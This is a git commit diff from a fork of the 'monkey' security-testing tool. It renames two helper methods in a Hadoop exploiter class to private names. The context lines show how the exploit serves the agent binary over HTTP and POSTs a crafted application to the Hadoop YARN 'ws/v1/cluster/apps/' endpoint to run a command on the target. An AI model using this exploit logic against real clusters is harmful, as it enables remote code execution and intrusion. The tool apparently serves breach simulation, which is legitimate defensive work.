forked from p15670423/monkey
Agent: Make some functions private in the Hadoop exploiter
This commit is contained in:
parent
ad5ce8e7d2
commit
79ccabceb1
|
@ -49,7 +49,7 @@ class HadoopExploiter(WebRCE):
|
||||||
if not paths:
|
if not paths:
|
||||||
return False
|
return False
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
||||||
command = self.build_command(paths["dest_path"], http_path)
|
command = self._build_command(paths["dest_path"], http_path)
|
||||||
if not self.exploit(self.vulnerable_urls[0], command):
|
if not self.exploit(self.vulnerable_urls[0], command):
|
||||||
return False
|
return False
|
||||||
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
http_thread.join(self.DOWNLOAD_TIMEOUT)
|
||||||
|
@ -69,7 +69,7 @@ class HadoopExploiter(WebRCE):
|
||||||
rand_name = ID_STRING + "".join(
|
rand_name = ID_STRING + "".join(
|
||||||
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
[safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)]
|
||||||
)
|
)
|
||||||
payload = self.build_payload(app_id, rand_name, command)
|
payload = self._build_payload(app_id, rand_name, command)
|
||||||
resp = requests.post(
|
resp = requests.post(
|
||||||
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
|
||||||
)
|
)
|
||||||
|
@ -85,7 +85,7 @@ class HadoopExploiter(WebRCE):
|
||||||
return False
|
return False
|
||||||
return resp.status_code == 200
|
return resp.status_code == 200
|
||||||
|
|
||||||
def build_command(self, path, http_path):
|
def _build_command(self, path, http_path):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
if "linux" in self.host.os["type"]:
|
if "linux" in self.host.os["type"]:
|
||||||
|
@ -101,7 +101,7 @@ class HadoopExploiter(WebRCE):
|
||||||
}
|
}
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def build_payload(app_id, name, command):
|
def _build_payload(app_id, name, command):
|
||||||
payload = {
|
payload = {
|
||||||
"application-id": app_id,
|
"application-id": app_id,
|
||||||
"application-name": name,
|
"application-name": name,
|
||||||
|
|
Loading…
Reference in New Issue